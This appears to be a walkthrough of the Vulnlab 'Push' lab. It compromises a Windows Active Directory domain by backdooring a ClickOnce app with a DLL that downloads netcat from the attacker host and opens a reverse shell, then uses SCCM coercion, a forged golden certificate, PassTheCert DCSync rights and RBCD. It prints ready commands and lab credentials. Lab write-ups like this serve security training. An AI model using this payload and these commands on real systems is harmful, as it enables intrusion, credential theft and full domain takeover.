# Vulnlab - Push ## NMAP ### MS01.push.vl ``` PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 08-03-23 08:49PM .config | 08-03-23 08:49PM .git |_08-03-23 08:49PM dev 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: SelfService 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2023-10-12T09:36:17+00:00; 0s from scanner time. | rdp-ntlm-info: | Target_Name: PUSH | NetBIOS_Domain_Name: PUSH | NetBIOS_Computer_Name: MS01 | DNS_Domain_Name: push.vl | DNS_Computer_Name: MS01.push.vl | DNS_Tree_Name: push.vl Host script results: | smb2-security-mode: | 311: |_ Message signing enabled but not required | smb2-time: 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) ``` ### DC01.push.vl ``` PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-10-12 09:45:12Z) 135/tcp open msrpc Microsoft Windows 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: push.vl0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.push.vl | Subject Alternative Name: DNS:DC01.push.vl | Issuer: commonName=DC01.push.vl 443/tcp open ssl/https |_ssl-date: TLS randomness does not represent time |_http-title: IIS Windows Server |_http-server-header: Microsoft-IIS/10.0 | ssl-cert: Subject: commonName=DC01.push.vl 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: PUSH | NetBIOS_Domain_Name: PUSH | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: push.vl | DNS_Computer_Name: DC01.push.vl | DNS_Tree_Name: push.vl | Product_Version: 10.0.20348 |_ System_Time: 2023-10-12T09:35:36+00:00 | ssl-cert: Subject: commonName=DC01.push.vl | Issuer: commonName=DC01.push.vl 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 61236/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 61265/tcp open msrpc Microsoft Windows RPC ``` # Enumerating MS01 ## PORT 21 (FTP) Having FTP enabled on MS01 with anonymous login we can enumerate the available directories

But all these directories were empty as there wasn't any files there

Checking for hidden files we can find `.git-credentials` file

| ## PORT 80 Accessing the web server, we'll find SelfService which allows us to download `setup.exe` and `SeflService.application`

Since it requires to work with windows in order to install the setup, I skipped this part and moved on to enumerating smb with the credentials we have ## PORT 445 (SMB) Using credentials on MS01, we can enumerate the shares where we'll find `wwwroot` share from the self service application is being hosted

Going into `Application Files` there are SelfService files

# Abusing ClickOnce to gain foothold This share is named as `ClickOnce application dev share` which is an easy deployment and execute technique based on user interaction, we did saw `last-run.txt` which is indicating that this selfservice is being executed after some time by the user

To abuse clickonce following this arcticle https://infosecwriteups.com/backdooring-clickonce-net-for-initial-access-a-practical-example-1eb6863c0579, we need to replace the dll with our custom dll to gain a reverse shell, so crafting a dll which will download and execute netcat on the victim machine ```c++ #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){ switch(dwReason){ case DLL_PROCESS_ATTACH: system("curl 10.8.0.136/nc64.exe -o C:\\Windows\\Temp\\nc64.exe"); system("C:\\Windows\\Temp\\nc64.exe 10.8.0.136 2222 -e cmd.exe"); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } ```

Now calculating validation digest hash and including it in `SelfService.dll.manifest` file also updating the size of the dll file ```bash openssl dgst -binary -sha256 \ SelfService.dll.deploy | \ openssl enc -base64 ```

Also change the value of `publicKeyToken` in `asmv1:assemblyIdentity` to `0000000000000000`

We also need to edit DigestValue and size of `SelfService.dll.manifest`in `SelfService.Application` file and zeroing publicKeyToken ```bash openssl dgst -binary -sha256 SelfService.dll.manifest | openssl enc -base64 ```

Uploading dll, manifest and application file

After a minute we'll see a hit on our python server and get a reverse shell as `kelly.hill` on netcat listener

From kelly's desktop folder, we'll also get her password

Having a look at the logged in users on MS01, there's a directory for `sccadmin` which means that on this domain there's SCCM configured which requires to have an agent installed on domain computer for managing and deploying applications

We can verify if this domain has a sccm configured

Enumerating the domain with `python-bloodhound` ```bash python3 /opt/BloodHound.py/bloodhound.py -d 'push.vl' -u 'olivia.wood' -p 'DeployTrust07' -c all -ns 10.10.203.229 ```

Here we only have sccadmin in serveradmins group which doesn't have any interesting permissions over other objects

## SCCM Coercion With SharpSCCM https://github.com/Mayyhem/SharpSCCM we can cause an authentication coercion by Client Push Installation by obtaining NTLMv2 challenge response of the user which is running SCCM with local admin privilege on the system, capturing it through responder ```bash SharpSCCM.exe invoke client-push -t 10.8.0.136 ```

## Escalating Privileges through Golden Certificate But sccadmin doesn't have any ACLs as we saw from bloodhound, so the only thing left here is to enumerate ADCS, running `certuil` on MS01 to enumerate CA (Certificate Authority) server

So we basically have admin access on CA server which means we can extract the CA certificate and private key, with that forging a certificate for domain admin through which we can obtain the NTHash or TGT of domain admin, this is known as Golden Certificate attack. Using `certipy` we can take backup of CA certificate and private key ```bash certipy ca -u sccadmin -p '7ujm&UJM' -target-ip MS01.push.vl -backup ```

With the certificate and private key obtained, forging domain admin's certificate ```bash certipy forge -ca-pfx CA.pfx -upn administrator@push.vl -subject 'CN=Administrator,CN=Users,DC=PUSH,DC=VL' ```

But when trying to request TGT/NTHash we'll face an error, `KDC_ERROR_CLIENT_NOT_TRUSTED (Reserved for PKINIT)`

Which is an indication that DC does not support the PKINIT authentication which is a pre-authentication allowing to retrieve either TGT or NTHash, having a read on this article, it's still possible to abuse this since we have the administrator's certificate we can do the following attacks https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html?ref=7ms.us - Add our created machine account to DC's `msDS-AllowedToActOnBehalfOfOtherIdentity` property to perform resource based delegation `RCBD` - Modify account's password - Granting the low privileged user DCSync rights This can be achieved with PassTheCert script https://github.com/AlmondOffSec/PassTheCert/tree/main/Python ,I'll be going with granting DCsync rights to kelly.hill but first we need to extract the key and cert from pfx file ```bash certipy cert -pfx administrator_forged.pfx -nokey -out administrator.crt certipy cert -pfx administrator_forged.pfx -nocert -out administrator.key ```

```bash python3 /opt/PKINITtools/PassTheCert.py -action modify_user -crt administrator.crt -key administrator.key -target kelly.hill -elevate -domain push.vl -dc-host dc01.push.vl ```

Now we can run secretsdump.py with kelly.hill

# Un-Intended Way through Resource Based Delegation (RBCD) From bloodhound we can see kelly has `AllExtendedRights` and `WriteAccountRestrictions` on MS01, which means that we can read all properties on MS01 and we can edit `msDS-AllowedToActOnBehalfOfOtherIdentity` to perform RBCD (Resource based constrained delegation) by having write account restrictions rights

First check if there's machine quota available to us in order to create a computer object

Adding computer object with `addcomputer` from impacket ```bash addcomputer.py -dc-ip 10.10.233.101 -computer-pass TestPassword321 -computer-name UwU push.vl/kelly.hill:'ShinraTensei!' ```

And now adding our created machine account in msDS-AllowedToActOnBehalfOfOtherIdentity property of MS01 to impersonate users on that machine ```bash rbcd.py -action write -delegate-to "MS01$" -delegate-from "UwU$" -dc-ip 10.10.233.101 push.vl/kelly.hill:'ShinraTensei!' ```

Impersonating as a local admin on MS01 by creating a ticket with `getST` ```bash impacket-getST -spn 'cifs/MS01.push.vl' -impersonate administrator -dc-ip 10.10.233.101 'push.vl'/'UwU$':TestPassword321 ```

We can completely skip the SCCM step and perform golden certificate attack from here. - https://infosecwriteups.com/backdooring-clickonce-net-for-initial-access-a-practical-example-1eb6863c0579 - https://www.thehacker.recipes/a-d/movement/sccm-mecm - https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a - https://github.com/Mayyhem/SharpSCCM - https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html?ref=7ms.us - https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence - https://github.com/AlmondOffSec/PassTheCert/tree/main/Python - https://www.hackingarticles.in/domain-persistence-golden-certificate-attack/